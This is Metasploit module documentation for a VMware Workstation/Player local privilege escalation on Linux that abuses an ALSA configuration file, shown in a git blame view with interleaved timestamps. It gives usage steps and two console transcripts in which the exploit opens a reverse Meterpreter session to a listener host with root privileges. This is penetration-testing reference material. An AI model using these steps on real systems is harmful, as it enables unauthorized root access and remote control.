2017-06-23 12:40:53 +00:00
|
|
|
## Description
|
|
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
This module exploits a vulnerability in VMware Workstation Pro and
|
|
|
|
|
Player on Linux which allows users to escalate their privileges by
|
|
|
|
|
using an ALSA configuration file to load and execute a shared object
|
|
|
|
|
as `root` when launching a virtual machine with an attached sound card.
|
2017-06-23 12:40:53 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
VMware Workstation Pro and VMware Workstation Player are the industry
|
|
|
|
|
standard for running multiple operating systems as virtual machines on
|
|
|
|
|
a single PC. Thousands of IT professionals, developers and businesses
|
|
|
|
|
use Workstation Pro and Workstation Player to be more agile, more
|
|
|
|
|
productive and more secure every day.
|
2017-06-23 12:40:53 +00:00
|
|
|
|
|
|
|
|
This module has been tested successfully on:
|
|
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
* VMware Player version 12.5.0 on Debian Linux 8 Jessie
|
2017-06-23 12:40:53 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start `msfconsole`
|
|
|
|
|
2. Get a session
|
|
|
|
|
3. Do: `use exploit/linux/local/vmware_alsa_config`
|
|
|
|
|
4. Do: `set SESSION [SESSION]`
|
|
|
|
|
5. Do: `check`
|
|
|
|
|
6. Do: `run`
|
2018-12-17 08:01:34 +00:00
|
|
|
7. You should get a new `root` session
|
2017-06-23 12:40:53 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
**SESSION**
|
|
|
|
|
|
|
|
|
|
Which session to use, which can be viewed with `sessions`
|
|
|
|
|
|
|
|
|
|
**WritableDir**
|
|
|
|
|
|
|
|
|
|
A writable directory file system path. (default: `/tmp`)
|
|
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
**Xdisplay**
|
|
|
|
|
|
|
|
|
|
Display exploit will attempt to use (default: `:0`)
|
|
|
|
|
|
2017-06-23 12:40:53 +00:00
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie)
|
|
|
|
|
|
2017-06-23 12:40:53 +00:00
|
|
|
```
|
2018-12-17 08:01:34 +00:00
|
|
|
msf5 > use exploit/linux/local/vmware_alsa_config
|
|
|
|
|
msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
|
|
|
|
|
lhost => 172.16.191.188
|
|
|
|
|
msf5 exploit(linux/local/vmware_alsa_config) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf5 exploit(linux/local/vmware_alsa_config) > run
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
|
|
|
|
[*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ...
|
|
|
|
|
[*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ...
|
|
|
|
|
[*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ...
|
|
|
|
|
[*] Writing '/home/user/.asoundrc' (116 bytes) ...
|
|
|
|
|
[*] Launching VMware Player...
|
|
|
|
|
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500
|
|
|
|
|
[+] Deleted /home/user/.asoundrc
|
|
|
|
|
[+] Deleted /home/user/Desktop/~/.vmware/preferences
|
|
|
|
|
[!] Attempting to delete working directory /tmp/pSvQHD5S5fh
|
|
|
|
|
[-] Exploit failed: negative array size (or size too big)
|
2017-06-23 12:40:53 +00:00
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 172.16.191.208
|
|
|
|
|
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie)
|
2017-06-23 12:40:53 +00:00
|
|
|
|
2018-12-17 08:01:34 +00:00
|
|
|
```
|
|
|
|
|
msf5 > use exploit/linux/local/vmware_alsa_config
|
|
|
|
|
msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188
|
|
|
|
|
lhost => 172.16.191.188
|
|
|
|
|
msf5 exploit(linux/local/vmware_alsa_config) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf5 exploit(linux/local/vmware_alsa_config) > run
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
|
|
|
|
[*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ...
|
|
|
|
|
[*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ...
|
|
|
|
|
[*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ...
|
|
|
|
|
[*] Writing '/home/user/.asoundrc' (116 bytes) ...
|
2017-06-23 12:40:53 +00:00
|
|
|
[*] Launching VMware Player...
|
2018-12-17 08:01:34 +00:00
|
|
|
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500
|
2017-06-23 12:40:53 +00:00
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
2018-12-17 08:01:34 +00:00
|
|
|
Computer : 172.16.191.208
|
2017-06-23 12:40:53 +00:00
|
|
|
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
|
|
|
|
|
Architecture : x64
|
2018-12-17 08:01:34 +00:00
|
|
|
BuildTuple : x86_64-linux-musl
|
2017-06-23 12:40:53 +00:00
|
|
|
Meterpreter : x64/linux
|
2018-12-17 08:01:34 +00:00
|
|
|
meterpreter >
|
2017-06-23 12:40:53 +00:00
|
|
|
```
|
|
|
|
|
|